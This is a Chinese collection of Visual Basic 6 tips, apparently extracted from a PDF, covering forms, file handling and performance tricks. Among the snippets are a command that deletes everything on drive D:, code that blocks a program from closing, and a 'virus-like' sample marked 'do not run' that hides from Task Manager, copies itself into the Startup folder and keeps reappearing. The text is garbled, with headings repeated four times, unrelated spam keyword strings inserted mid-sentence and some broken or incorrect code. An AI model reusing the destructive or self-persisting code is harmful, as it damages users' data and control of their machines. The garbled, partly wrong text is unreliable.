隐藏 form1:
form1.hide
显示 form1:
form1.show
---------------------------------------------------------------------------------------------
退出程序时,弹出窗口提示是否要退出:
Private Sub Form_Unload(Cancel As Integer)
Dim iAnswer As Integer
iAnswer = MsgBox("真要退出吗?", vbYesNo)
If iAnswer = vbNo Then
Cancel = True
Else
End
End If
End Sub
----------------------------------------------------------------------------------------------
只能用任务管理器关闭程序的代码:
Private Sub From_Unload(Cancel As Integer)
Cancel = true
End Sub
------------------------------------------------------------------------------------------------
点击 command1打开 33IQ网:
Dim strURL
Private Sub Command1_Click()
strURL = "http://www.33iq.cn"
Shell "explorer.exe " & strURL, 1
End Sub
------------------------------------------------------------------------------------------------
运行 c:\1.exe
shell "c:\1.exe"
执行 c:\1.bat
shell "c:\1.bat"
注:只适用于大部分 exe和全部 bat。
------------------------------------------------------------------------------------------------
把 label1.caption的值替换成 label2.caption的值,label2.caption不变(括号内可省
略):
label1 (.caption) = label2 (.caption)
注:是变动值(被替换值) = 数据值(参考值、不变值),别搞反了。
如 label1 = 1 而不是 1 = label1
---------------------------------------------------------------------------------------------
将 text1的文本保存到某文件
(cd1是 commanddialog控件,下同)
cd1.ShowSave
If Not cd1.FileName = "" Then
Open cd1.FileName For Output As #1
Print #1, Text1.Text
Close #1
End If
------------------------------------------------------------------------------------------
把某文本文件读取到 TEXT1
Dim tmp$
cd1.ShowOpen
If Not cd1.FileName = "" Then
Open cd1.FileName For Input As #1
Line Input #1, tmp$
Close #1
Text1 = tmp
End If
-------------------------------------------------------------------------------------------
点击 command1弹出窗口(红色处请替换成你要的内容)
Private Sub Command1_Click()
MsgBox "(显示文字)(显示文字)(显示文字)(显示文字)", vbYesNovbYesNovbYesNovbYesNo(你要弹出的窗口的类型,下面有几种常用的类(你要弹出的窗口的类型,下面有几种常用的类(你要弹出的窗口的类型,下面有几种常用的类(你要弹出的窗口的类型,下面有几种常用的类
型)型)型)型), "(窗口标题)(窗口标题)(窗口标题)(窗口标题)"
End Sub
或
Private Sub Command1_Click()
MsgBox "(显示文字)(显示文字)(显示文字)(显示文字)"
End Sub
常用的弹出窗口类型:
vbYesNo 包含是、否按钮的窗口
vbYesNoCancle 包含是、否、取消
vbOKonly只包含确定按钮
vbOKCancle 包含确定、取消
vbQuestion带问号图标、只有确定按钮的窗口
-----------------------------------------------------------------------------------------------
点击 command1,label1随机显示 1.2.3
Function a() As String
Dim b(2) As String
b(0) = 1
b(1) = 2
b(2) = 3
Randomize
a = b(Rnd * 2)
End Function
Private Sub Command1_Click()
Label1.Caption = a
End Sub
--------------------------------------------------------------------------------------------------
删除"D:\1.txt":
Kill "D:\1.txt"
新建文件夹"D:\123":
MkDir "d:\123"
复制文件,由桌面的"1.txt"复制到"D:\1.txt":
FileCopy "C:\Documents and Settings\Administrator\桌面\1.txt", "D:\1.txt"
删除"D:\123"文件夹:
Shell "cmd /c ""rmdir.exe /s /q D:\123\""", vbNormalFocus
删除 D盘所有文件(红色处后面不加\):
Shell "cmd /c ""rmdir.exe /s /q D:D:D:D:""", vbNormalFocus
------------------------------------------------------------------------------------------------------
App.title ="这是标题"
' 在 任务管理器-程序 中此 VB程序的名字,本例的标题为“这是标题”
App.TaskVisible = False
' 隐藏 任务管理器中此 VB程序的名字
App.Path
' 此 VB程序的所在文件夹路径(如程序在“d:\1.exe”,则此值为“d:”,没有“\”)
App.EXEName
' 此 VB程序的文件名(如程序在“d:\这是程序.exe”,则此值为“这是程序”,没有
“.exe”)
------------------------------------------------------------------------------------------------------
一个小程序,类似病毒(不要运行!!仅供参考)。新建工程,放入一个一个小程序,类似病毒(不要运行!!仅供参考)。新建工程,放入一个一个小程序,类似病毒(不要运行!!仅供参考)。新建工程,放入一个一个小程序,类似病毒(不要运行!!仅供参考)。新建工程,放入一个 timertimertimertimer控控控控
件,改件,改件,改件,改 IntervalIntervalIntervalInterval值为值为值为值为 1111,然后输入以下代码即可:,然后输入以下代码即可:,然后输入以下代码即可:,然后输入以下代码即可:
Private Sub Form_Load()
App.Title = ""
App.TaskVisible = False
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and
Settings\Administrator\「开始」菜单\程序\启动\" & App.EXEName & ".exe"
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
End Sub
Private Sub Timer1_Timer()
Form1.Show
End Sub
用 Mid$命令超速字符串添加操作
大家都知道,&操作符的执行速度是相当慢的,特别是处理长字符串时。当必须重复地
在同一变量上附加字符时,有一个基于Mid$命令的技巧可以使用。基本思路就是:预
留一个足够长的空间存放操作的结果。下面是应用这个技术的一个例子。
假设要建立一个字符串,它要附加从 1开始的 10000个整数:"1 2 3 4 5 6 7 ... 9999
10000"。下面是最简单的实现代码:
res = ""
For i = 1 to 10000: res = res & Str(i): Next
<>
face=宋体>代码虽然简单,但问题也很明显:Res变量将被重分配 10000次。下面的
代码实现同样的目的,但效果明显好转:
Dim res As String
Dim i As Long
Dim index As Long
’预留足够长的缓冲空间
res = Space(90000)
’指针变量,指出在哪里插入字符串
index = 1
’循环开始
For i = 1 to 10000
substr = Str(i)
length = Len(substr)
’填充字符串的相应区间段数值
Mid$(res, index, length) = substr
’调整指针变量
index = index + length
Next
’删除多余字符
res = Left$(res, index - 1)
测试
表
关于同志近三年现实表现材料材料类招标技术评分表图表与交易pdf视力表打印pdf用图表说话 pdf
明:在一个 333MHz的计算机上,前段代码执行时间为 2.2秒,后者仅仅为
0.08秒!代码虽然长了些,可是速度却提高了 25倍之多。呵呵,由此看来:代码也不
可貌相啊
从头开始删除集合项目
删除集合中的所有内容有许多
方法
快递客服问题件处理详细方法山木方法pdf计算方法pdf华与华方法下载八字理论方法下载
,其中有些非常得迅速。来看看一个包含10,000个
项目的集合:
Dim col As New Collection, i As Long
For i = 1 To 10000
col.Add i, CStr(i)
Next
可以从末尾位置为起点删除集合内容,如下:
For i = col.Count To 1 Step -1
col.Remove i
Next
也可以从开始位置为起点删除集合内容,如下:
For i = 1 To col.Count Step 1
col.Remove i
Next
<>
face=宋体>试验证明,后者要快于前者百倍多,比如 0.06秒比 4.1秒。原因在于:当
引用接近末尾位置的集合项目时,VB必须要从第 1个项目开始遍历整个的项目链。
<>
face=宋体>更有趣的是,如果集合项目的数量加倍,那么从末尾开始删除与从头开始
删除,前者要比后者花费的时间将成倍增长,比如前者是24秒,后者可能为 0.12秒
这么短!
最后提醒您:删除集合的所有内容的最快方法就是“毁灭”它,使用下面的语句: Set
col = New Collection
对于一个包含 20,000个项目的集合,上述操作仅仅耗时 0.05秒,这比使用最快的循
环操作进行删除也要快 2倍左右。
用 InStr函数实现代码减肥可以采用“旁门左道”的方式使用 Instr函数实现代码的简
练。下面是一个典型的例子,检测字符串中是否包含一个元音字母:
1、普通的方法:
If UCase$(char) = "A" Or UCase$(char) = "E" Or UCase$(char) = "I" Or UCase$(char)
= "O" Or UCase$(char) = "U" Then
’ it is a vowel
End If
2、更加简练的方法:
If InStr("AaEeIiOoUu", char) Then
’ it is a vowel
End If
同样,通过
单词
英语单词 下载七年级上册英语单词表下载英语单词表下载深圳小学英语单词表 下载高中英语单词 下载
中没有的字符作为分界符,使用 InStr来检查变量的内容。下面的例子
检查Word中是否包含一个季节的名字: 1、普通的方法:
If LCase$(word) = "winter" Or LCase$(word) = "spring" Or LCase$(word) = _
"summer" Or LCase$(word) = "fall" Then
’ it is a season’s name
End If
2、更加简练的方法:
If Instr(";winter;spring;summer;fall;", ";" & word & ";") Then
’ it is a season’s name
End If
有时候,甚至可以使用 InStr来替代 Select
Case代码段,但一定要注意参数中的字符数目。下面的例子中,转换数字0到 9的相
应英文名称为阿拉伯数字: 1、普通的方法:
Select Case LCase$(word)
Case "zero"
result = 0
Case "one"
result = 1
Case "two"
result = 2
Case "three"
result = 3
Case "four"
result = 4
Case "five"
result = 5
Case "six"
result = 6
Case "seven"
result = 7
Case "eight"
result = 8
Case "nine"
result = 9
End Select
2、更加简练的方法:
result = InStr(";zero;;one;;;two;;;three;four;;five;;six;;;seven;eight;nine;", _
";" & LCase$(word) & ";") \ 6
精用 Boolean表达式,让代码再减肥
当设置基于表达式结果的 Boolean型数值时,要避免使用多余的 If/Then/Else语句结
果。比如:
If SomeVar > SomeOtherVar Then
BoolVal = True
Else
BoolVal = False
End If
上面这段代码就很烦琐,它们完全可以使用下面的一行代码来替代:
BoolVal = (SomeVar > SomeOtherVar)
括号不是必须的,但可以增加可读性。根据表达式中的操作数不同,后者比前者执行
起来大约快 50%到 85%。后者中的括号对速度没有影响。
有时,使用这个技术实现代码的简练并非很明显。关键是要牢记:所有的比较操作结
果或者是 0(false),或者是-1(True)。所以,下面例子中的 2段代码是完全相同
的,但是第 2段要运行得快些:
1、传统方法: If SomeVar > SomeOtherVar Then
x = x + 1
End If
2、更简练的方法
x = x - (SomeVar > SomeOtherVar)
函数名巧做局部变量
很多程序员都没有认识到“在函数本身中使用函数名”的妙处,这就象对待一个局部变
量一样。应用这个技巧可以起到临时变量的作用,有时还能加速程序运行。看看下面
的代码:
Function Max(arr() As Long) As Long
Dim res As Long, i As Long
res = arr(LBound(arr))
For i = LBound(arr) + 1 To UBound(arr)
If arr(i) > res Then res = arr(i)
Next
Max = res
End Function
去掉 res变量,使用函数名称本身这个局部变量,可以使程序更加简练:
Function Max(arr() As Long) As Long
Dim i As Long
Max = arr(LBound(arr))
For i = LBound(arr) + 1 To UBound(arr)
If arr(i) > Max Then Max = arr(i)
Next
End Function
火眼识破隐藏的 Variant变量
如果没有用 As语句声明变量,默认类型就是 Variants,比如:
Dim name ’ this is a variant
或者,当前模块下没有声明Option Explicit语句时,任何变量都是 Variants类型。
许多开发者,特别是那些先前是 C程序员的人,都会深信下面的语句将声明 2个
Interger类型变量:
Dim x, y As Integer
而实际上,x被声明为了 variant类型。由于 variant类型变量要比 Integer类型慢很
多,所以要特别注意这种情况。正确的一行声明方法是:
Dim x As Integer, y As Integer
GoSub在编译程序中速度变慢
编译为本地代码的 VB应用程序中,如果使用 GoSubs 命令,就会比通常的 Subs 或者
Function 调用慢 5-6倍;相反,如果是 p-code模式,就会相当快。
减少 DoEvents语句的数量
不要在代码中放置不必要的DoEvents语句,尤其是在时间要求高的循环中。遵循这个
原则,至少能在循环中的每N次反复时才执行 DoEvents语句,从而增强效率。比如
使用下面的语句:
If (loopNdx Mod 10) = 0 Then DoEvents
如果只是使用 DoEvents来屏蔽鼠标以及键盘操作,那么就可以在事件队列中存在待处
理项目时调用它。通过 API函数 GetInputState来检查这个条件的发生:
Declare Function GetInputState Lib "user32" Alias "GetInputState" () As Long
’ ...
If GetInputState() Then DoEvents
为常量定义合适的类型
VB在内部使用最简单、最可能的数据类型保存符号数值,这意味着最通常的数字类型
-比如 0或者 1-都按照 Integer类型存储。如果在浮点表达式中使用这些常量,可以
通过常量的合适类型来加速程序运行,就象下面的代码: value# = value# + 1#.
这个语句强迫编译器按照 Double格式存储常量,这样就省却了运行时的隐含转换工
作。还有另外的一种处理方法就是:在常量声明时就进行相应类型的定义,代码如
下:
Const ONE As Double = 1
And、Or和 Xor:让我们来优化表达式
要检测一个整数值的最高有效位是否有数值,通常要使用如下的代码(有二种情况:
第一组 If判断表明对 Integer类型,第二组对 Long类型):
If intvalue And &H8000 Then
’ most significant bit is set
End If
If lngvalue And &H80000000 Then
’ most significant bit is set
End If
但由于所有的 VB变量都是有符号的,因此,最高有效位也是符号位,不管处理什么类
型的数值,通过下面的代码就可以实现检测目的:
If anyvalue < 0 Then
’ most significant bit is set
End If
另外,要检测 2个或者更多个数值的符号,只需要通过一个 Bit位与符号位的简单表达
式就可以完成。下面是应用这个技术的几段具体代码:
1、判断 X和 Y是否为同符号数值:
If (x < 0 And y < 0) Or (x >= 0 And y >=0) Then ...
’ the optimized approach
If (x Xor y) >= 0 Then
2、判断 X、Y和 Z是否都为正数
If x >= 0 And y >= 0 And z >= 0 Then ...
’ the optimized approach
If (x Or y Or z) >= 0 Then ...
3、判断 X、Y和 Z是否都为负数
If x < 0 And y < 0 And z < 0 Then ...
’ the optimized approach
If (x And y And z) < 0 Then ...
4、判断 X、Y和 Z是否都为 0
If x = 0 And y = 0 And z = 0 Then ...
’ the optimized approach
If (x Or y Or z) = 0 Then ...
5、判断 X、Y和 Z是否都不为 0
If x = 0 And y = 0 And z = 0 Then ...
’ the optimized approach
If (x Or y Or z) = 0 Then ...
要使用这些来简单化一个复杂的表达式,必须要完全理解boolean型的操作原理。比
如,你可能会认为下面的 2行代码在功能上是一致的:
If x <> 0 And y <> 0 Then
If (x And y) Then ...
然而我们可以轻易地证明他们是不同的,比如X=3(二进制=0011),Y=4(二进制
=0100)。不过没有关系,遇到这种情况时,我们可以对上面的代码进行局部优化,
就能实现目的。代码如下:
If (x <> 0) And y Then ...
静态变量慢于动态变量
在过程中引用静态局部变量要比引用常规局部动态变量慢2-3倍。要想真正地加速过
程的执行速度,最彻底的方法就是将所有的静态变量转换为模块级别变量。
这种方法的唯一不足是:过程很少是自包含的,如果要在其他工程中重用,就必须同
时拷贝并粘贴这些模块级别变量。
另外的一种处理方法是:在时间要求高的循环前,将静态变量数值装入动态变量中。
善用"Assume No Aliasing"编译选项
据说,如果过程能够 2次或多次引用同样的内存地址,那么过程就会包含别名数值。
一个典型的例子如下:
Dim g_GlobalVariable As Long
...
Sub ProcWithAliases(x As Long)
x = x + 1
g_GlobalVariable = g_GlobalVariable + 1
End Sub
如果传递给这个过程 g_GlobalVariable变量,则将通过一个直接引用以及 x参数两种
方式修改变量的数值 2次。
别名数值经常是不良编程习惯的产物,对于程序优化有害无益。事实上,如果能够完
全确认应用程序从来没有使用到别名变量,就可以打开"Assume No Aliasing"高级编译
选项,这将告知编译器没有过程可以修改同一内存地址,使编译器产生更加有效率的
汇编代码。更特别的是,编译程序将试图缓冲这些数据到CPU的寄存器中,从而明显
地加速了程序运行。
总结
初级经济法重点总结下载党员个人总结TXt高中句型全总结.doc高中句型全总结.doc理论力学知识点总结pdf
一下,当遇到以下情况时,就不会有别名数值:(1) 过程不引用任何全局变量 (2)
过程引用了全局变量,但从来不通过 ByRef参数类型传递同一变量给过程 (3)过程含
有多个 ByRef参数类型,但从来不传递同一变量到其中的 2个或者多个之中。
你真正理解"Allow Unrounded Floating Point Operations"选项的含义吗?
来自微软的资料鼓吹:高级优化对话框中的所有编译选项都被认为是不稳定的,它们
可能导致不正确的结果,甚至程序崩溃。对于其中的大多数,这种说法是正确的,但
是经常有一个叫做"Allow Unrounded Floating Point Operations"的选项能够给予正确的
结果,防止应用程序产生 bug。考虑下面的代码段: Dim x As Double, y As Double, i
As Integer
x = 10 ^ 18
y = x + 1 ’ this can’t be expressed with 64 bits
MsgBox (y = x) ’ 显示 "True" (不正确的结果)
严格地说,由于 X和 Y变量不包含相同的数值,MsgBox将显示 False。可问题是,由
于数值 1E18与 1E18+1都以相同的 64位浮点 Double类型来表示,它们最终包含了
几乎相同的数值,最后的MsgBox结果将是 True。
如果打开了"Allow Unrounded Floating Point Operations"编译选项,VB就能重用已在
数学协处理器堆栈中的数值,而不是内存中的数值(比如:变量)。因为FPU堆栈具
备 80位的精度,因此就可以区分出这 2个数值的不同:
’ if the program is compiled using the
’ "Allow Unrounded Floating Point Operations" compiler option
MsgBox (y = x) ’ 显示 "False" (正确的结果)
总结一下:当以解释模式、或者编译的 p-code模式、或者编译的 native代码模式但
关掉"Allow Unrounded Floating Point Operations"选项这 3种方式运行一个程序时,
所有浮点数字运算在内部都以 80位的精度进行处理。但如果有一个数值是存储在64
位 Double变量中,结果就是接近的了,并且,随后使用那个变量的表达式也将产生近
似的结果,而不是绝对正确的结果。
相反,如果打开"Allow Unrounded Floating Point Operations"编译选项后运行一段
native编译代码,在随后的表达式中 VB就经常能重用内部的 80位数值,而忽略存储
在变量中的当前数值。注意:我们并不能完全控制这个功能,VB也许对此生效,也许
就不生效,这要取决于表达式的复杂程度以及最初分配数值语句与随后产生结果的表
达式语句的距离远近。
除法运算符"\"与"/"的区别
整数间执行除法运算时,要使用 "\" 而不是 "/"。 "/"运算符要求返回一个单一数值,
所以,表面上看似简单的一行代码:
C% = A% / B%
实际上包含了 3个隐含的转换操作:2个为除法运算做准备,从 Integer转换到
Single;一个完成最后的赋值操作,从 Integer转换到 Single。但是如果使用了"\"操作
符,情况就大不相同了!不仅不会有这么多中间步骤,而且执行速度大大提高。
同时请记住:使用"/"操作符做除法运算时,如果其中之一是Double类型,那么结果就
将是 Double类型。所以,当 2个 Integer或者 Single类型数值做除法运算时,如果想
得到高精度的结果,就需要手工强迫其中之一转换为Double类型:
’结果为 0.3333333
Print 1 / 3
’结果为 0,333333333333333
Print 1 / 3#
使用"$-类型"字符串函数会更快
VB官方文档似乎很鼓励使用"无$"类字符串函数,比如:Left、LTrim或者 UCase,而
不是实现同样功能的 Left$、LTrim$和 UCase$函数。但是我们必须认识到:前者返回
variant类型的数值,当用于字符串表达式中时,最终必须要转换为字符串(string)类
型。
因此,在严格要求时间的代码段中,我们应该使用后者,它们将快5-10%。
妙用 Replace函数替代字符串连接操作符&
你大概不知道 Replace函数还能这么用吧?比如下面的语句:
MsgBox "Disk not ready." & vbCr & vbCr & _
"Please check that the diskette is in the drive" & vbCr & _
"and that the drive’s door is closed."
可以看出,为了显示完整的字符串含义,要将可打印字符与非打印字符(比如:回车
符 vbCr)用&符号连接在一起。结果是:长长的字符连接串变得难于阅读。但是,使
用 Replace函数,可以巧妙地解决这个问题。方法就是:将非打印字符以字符串中不
出现的一个可打印字符表示,这样完整地写出整个字符串,然后使用Replace函数替
换那个特别的打印字符为非打印字符(比如:回车符 vbCr)。代码如下:
MsgBox Replace("Disk not ready.§§Please check that the diskette is in the " _
& "drive§and that the drive’s door is closed.", "§", vbCr)
固定长度字符串数组:赋值快,释放快!
固定长度字符串的处理速度通常慢于可变长度字符串,这是因为所有的VB字符串函数
和命令只能识别可变长度字符串。因此,所有固定长度字符串比然被转换为可变长度
字符串。
但是,由于固定长度字符串数组占据着一块连续的内存区域,因此在被分配以及释放
时,速度明显快于可变长度的数组。比如:在一个 Pentium 233MHz机器上,对于一
个固定长度为 100,000的数组,给其中 30个位置分配数值,大约只花费半秒种的时
间。而如果是可变长度的数组,同样的操作要耗费 8秒之多!后者的删除操作耗时大
约 0.35秒,但固定长度的数组几乎可以立即“毙命”!如果应用程序中涉及到这么大的
一个数组操作,选择固定长度方式数组绝对是确定无疑的了,无论是分配数值,还是
释放操作,都可以风驰电掣般完成。
未公开的返回数组型函数加速秘诀
在 VB6中,函数是能够返回数组对象的。这种情况下,我们不能象返回对象或者数值
的其他函数一样使用函数名当做局部变量来存储中间结果,因此不得不生成一个临时
局部数组,函数退出前再分配这个数组给函数名,就象下面的代码一样:
’ 返回一个数组,其中含有 N个随即元素
’ 并且将平均值保存在 AVG中
Function GetRandomArray(ByVal n As Long, avg As Single) As Single()
Dim i As Long, sum As Single
ReDim res(1 To n) As Single
’ 以随机数填充数组,并计算总和
Randomize Timer
For i = 1 To n
res(i) = Rnd
sum = sum + res(i)
Next
’ 赋值结果数组,计算平均值
GetRandomArray = res
avg = sum / n
End Function
难以置信的是,只需要简单地颠倒最后 2条语句的顺序,就能使上面这段程序变得快
些:
’ ... ’ 赋值结果数组,计算平均值
avg = sum / n
GetRandomArray = res
End Function
例如,在一个 Pentium II 333MHz 机器上,当 N=100,000时,前段程序运行时间为
0.72秒,后段程序则为 0.66秒,前后相差 10%。
原因何在呢?前段程序中,VB将拷贝 res数组到 GetRandomArray对应的结果中,当
数组很大时,花费的时间是很长的。后段程序中,由于GetRandomArray = res是过程
的最后一条语句,VB编译器就能确认 res数组不会被再使用,因此将直接交换 res和
GetRandomArray的地址数值,从而节省了数组元素的物理拷贝操作以及随后的 res数
组释放操作。
总结如下:当编写返回数组的函数时,一定要将分配临时数组到函数名的语句放在最
后,就是其后紧挨者 Exit Function 或者 End Function的位置。
--------------------------------------------------------------------------------
Dim i As Long
ReDim res(0 To UBound(values)) As Integer
For i = 0 To UBound(values)
res(i) = values(i)
Next
ArrayInt = res()
End Function
同时,也可以创建一个子程序段来检测传递给它的数值的类型,并返回正确类型的数
组。这种情况下,函数应该定义为返回 Variant。
访问简单变量总是快于数组元素值
读写数组中的元素速度通常都慢于访问一个简单变量,因此,如果在一个循环中要重
复使用同一数组元素值,就应该分配数组元素值到临时变量中并使用这个变量。下面
举一个例子,检测整数数组中是否存在重复项:
Function AnyDuplicates(intArray() As Integer) As Boolean
’如果数组包含重复项,返回 True
Dim i As Long, j As Long,
Dim lastItem As Long
Dim value As Integer
’只计算机 UBound()一次
lastItem = UBound(intArray)
For i = LBound(intArray) To lastItem
’ 保存 intArray(i)到非数组变量中
value = intArray(i)
For j = i + 1 To lastItem
If value = intArray(j) Then
AnyDuplicates = True
Exit Function
End If
Next
Next
’没有发现重复项
AnyDuplicates = False
End Function
上述程序有 2层循环,通过缓存 intArray(i)的数值到一个普通的、非数组变量中,节省
了 CPU运行时间。经测试,这将提高 80%的速度。
创建新表时,快速拷贝字段
在 VB6中,无需离开开发环境就可以创建新的 SQL Server和 Oracle表。方法很简
单:打开 DataView窗口,用鼠标右键单击数据库的表文件夹,再选择新表格菜单命
令。
当处理相似表格时,就是说具有许多相同字段的表格,我们完全可以在很短的时间内
容完成设定操作。具体步骤是:在
设计
领导形象设计圆作业设计ao工艺污水处理厂设计附属工程施工组织设计清扫机器人结构设计
模式下打开源表格,加亮选择要拷贝字段对应
的行,按 Ctrl-C拷贝信息到粘贴板;然后,在设计模式打开目标表格,将光标置于要
粘贴字段所在的位置,按 Ctrl-V。
这样,就拷贝了所有的字段名称以及它们所带的属性。无闪烁地快速附加字符串到
textbox控件
附加文本到 TextBox或者 RichTextBox控件的通常方法是在当前内容上连接上新的字
符串:
Text1.Text = Text1.Text & newString
但还有一个更快的方法,并且会减少连接操作的闪烁感,代码如下:
Text1.SelStart = Len(Text1.Text)
Text1.SelText = newString
快速找到选中的 OptionButton
OptionButton控件经常是作为控件数组存在的,要快速找到其中的哪一个被选中,可
以使用下面的代码:
’假设控件数组包含 3个 OptionButton控件
intSelected = Option(0).value * 0 - Option(1).value * 1 - Option(2).value * 2
注意,因为第一个操作数总是 0,所以上述代码可以精简如下:
intSelected = -Option(1).value - Option(2).value * 2
表单及控件的引用阻止了表单的卸载
当指派表单或者表单上的控件到该表单模块以外的一个对象变量中时,如果要卸载表
单,就必须首先将那个变量设置为 to Nothing。也就是说,如果不设置为Nothing,即
使看不到这个对象了,但它仍旧是保存在内存中的。
注意:这并非是一个 bug,这仅仅是 COM引用规则的一个结果。唯一要注意的就是引
用的这个控件将阻止整个表单的卸载操作,它将依赖于它的父表单而存在。重定义编
译 DLL文件的基地址
许多 VB开发者都知道应该在工程属性对话框的“编译”功能页面中定义一个 DLL基地址
数值。这不同于工程中任何其他DLL或 OCX的基地址。
当操作没有源代码的编译 DLL或者 OCX文件时,可以使用 EDITBIN程序修改它的基
地址。EDITBIN程序随 Visual Studio安装后就有了,可以在主 Visual Studio目录的
VC98\BIN目录下找到它。比如,以下代码重新设定一个编译DLL文件的基地址为
12000000(16进制):
EDITBIN /REBASE:BASE=0x12000000 myfile.dll
同样,EDITBIN程序对可执行文件也有一些处理技巧。以下是该程序支持的完整功能
选项列表(使用 EDITBIN /?可以列出这些):
/BIND[:PATH=path]
/HEAP:reserve[,commit]
/LARGEADDRESSAWARE[:NO]
/NOLOGO
/REBASE[:[BASE=address][,BASEFILE][,DOWN]]
/RELEASE
/SECTION:name[=newname][,[[!]{cdeikomprsuw}][a{1248ptsx}]]
/STACK:reserve[,commit]
/SUBSYSTEM:{NATIVE|WINDOWS|CONSOLE|WINDOWSCE|POSIX}[,#[.##]]
/SWAPRUN:{[!]CD|[!]NET}
/VERSION:#[.#]
/WS:[!]AGGRESSIVE
快速调入 TreeView控件以及 ListView控件的子项内容
有一个简单但仍未发现的技巧可用于在 TreeView控件中装载多个节点,或者在
ListView控件中装载多个 ListItems。这种方法要比传统做法快。先看看下面这个传统
方法:
For i = 1 To 5000
TreeView1.Nodes.Add , , , "Node " & i
Next
改进一下,代替重复引用 TreeView1对象的 Nodes集合,我们可以先将之保存在临时
对象变量中:
Dim nods As MSComctlLib.Nodes
Set nods = TreeView1.Nodes
For i = 1 To 5000
nods.Add , , , "Node " & i
Next
甚至,如果使用With代码块,还可以不需要临时变量:
With TreeView1.Nodes
For i = 1 To 5000
.Add , , , "Node " & i
Next
End With
经测试,优化的循环代码要比传统方法执行速度快 40%左右。原因在于:将 Nodes集
合对象保存在临时变量中,或者应用With代码块后 VB将使用隐藏的临时变量后,就
可以避免在循环中重复绑定Nodes对象到它的父 TreeView1对象上。由于这种绑定是
低效率的,因此省却它就能节省大量的执行时间。
同样的道理对于其他 ActiveX控件也生效:
ListView控件的 ListItems、ListSubItems以及 ColumnHeaders集合
Toolbar控件的 Buttons和 ButtonMenus集合
ImageList的 ListImages集合
StatusBar控件的 Panels集合
TabStrip控件的 Tabs集合
Friend过程快于 Public过程
你可能会非常惊奇:Friend类型过程的执行速度要明显快于 Public类型。这可以通过
创建一个带有 Private类和 Public类 (设定 Instancing = MultiUse)的 ActiveX EXE工程
看到,在 2个类模块中添加下面的代码:
Public Sub PublicSub(ByVal value As Long)
’
End Sub
Public Function PublicFunction(ByVal value As Long) As Long
’
End Function
Friend Sub FriendSub(ByVal value As Long)
’
End Sub
Friend Function FriendFunction(ByVal value As Long) As Long
’ End Function
然后,在表单模块中创建一个循环,执行每个例程许多次。比如,要在一个Pentium
II机器上查看执行时间上的区别,可以调用每个例程 1,000,000次。下面是测试的结
果:
Private类模块中,反复调用 1,000,000次 Public Sub或者 Function耗费了 0.46秒,
而调用内容相同的 Friend类型模块则分别只有 0.05秒和 0.06秒。前后竟然相差了 8-9
倍之多!对于MultiUse类型的 Public类模块,也是一样的结果。
对于这个不可思议的结果的可能解释是:Friend型过程没有处理汇集和拆装代码的消
耗(Public过程可以从当前工程外被调用,因此COM必须要来回地汇集数据)。但是
在多数情况下,这些时间差别是不明显的,特别是程序中包含一些复杂和耗时的语句
时。
即使这样,Friend型过程仍有其他的优势高于 Public类型,比如:接受和返回在 BAS
模块中定义的 UDT变量的能力。
使用 Objptr函数快速查找集合中的对象
ObjPtr函数的一个最简单但是却最有效的用途就是提供快速寻找集合中对象的关键
字。假设有一个对象集合,它没有可以当做关键字以从集合中取回的属性。那么,我
们就可以使用 ObjPtr函数的返回值作为集合中的关键字:
Dim col As New Collection
Dim obj As CPerson
’创建新的 CPerson对象,并添加到集合中
Set obj = New CPerson
obj.Name = "John Smith"
col.Add obj, CStr(ObjPtr(obj)) ’关键字必须是字符串
因为任何对象都有一个明确的ObjPtr数值,而且它是不变的,所以,我们可以容易
地、快速地从集合中取回它:
’ 删除集合中的对象
col.Remove CStr(ObjPtr(obj))
这个技巧可以适用于任何类型的对象,包括VB中的表单和控件,以及外部对象。
使用 ObjPtr检测 2个对象变量是否指向同一对象
判断 2个对象变量释放指向同一对象的方法是使用 Is操作符,代码如下:
If obj1 Is obj2 Then ...
但当 2个对象是同一类型时,或者指向同一个二级接口时,我们就可以利用ObjPtr
()函数对代码进行一些优化处理:
If ObjPtr(obj1) = ObjPtr(obj2) Then ...
后者的执行速度将比前种方法快 40%多。但是请注意,2种方法原本就是很有效率
的,只有在时间要求非常严格的上百成千次的循环中,才会体现出这种差别。
读取文件内容的简洁方法
读取 text文件的最快方法是使用 Input$函数,就象下面的过程:
Function FileText (filename$) As String
Dim handle As Integer
handle = FreeFile
Open filename$ For Input As #handle
FileText = Input$(LOF(handle), handle)
Close #handle
End Function
使用上述方法要比使用 Input命令读取文件每一行的方法快很多。下面是应用这个函
数读取 Autoexec.bat的内容到多行 textbox控件的例子:
Text1.Text = FileText("c:\autoexec.bat")
但请注意:当文件包含 Ctrl-Z(EOF)字符时,上面的函数代码可能会发生错误。因
此,要修改一下代码:
Function FileText(ByVal filename As String) As String
Dim handle As Integer
’ 判断文件存在性
If Len(Dir$(filename)) = 0 Then
Err.Raise 53 ’文件没有找到 End If
’ 以 binary模式打开文件
handle = FreeFile
Open filename$ For Binary As #handle
’ 读取内容,关闭文件
FileText = Space$(LOF(handle))
Get #handle, , FileText
Close #handle
End Function
字体对象克隆招法
当要应用一个控件的字体到另一控件时,最直接的方法就是直接赋值:
Set Text2.Font = Text1.Font
但多数情况下这种方法并不奏效,因为这实际上是将同一字体的引用分配给了2个控
件。换言之,当随后修改其中之一控件的字体时,另外一个控件也受到影响。因此,
要实现我们的目的,需要做的就是克隆字体对象并赋值给需要的控件。
最简单的克隆字体的方法是手工地拷贝所有单独的字体属性,就象下面一样:
Function CloneFont(Font As StdFont) As StdFo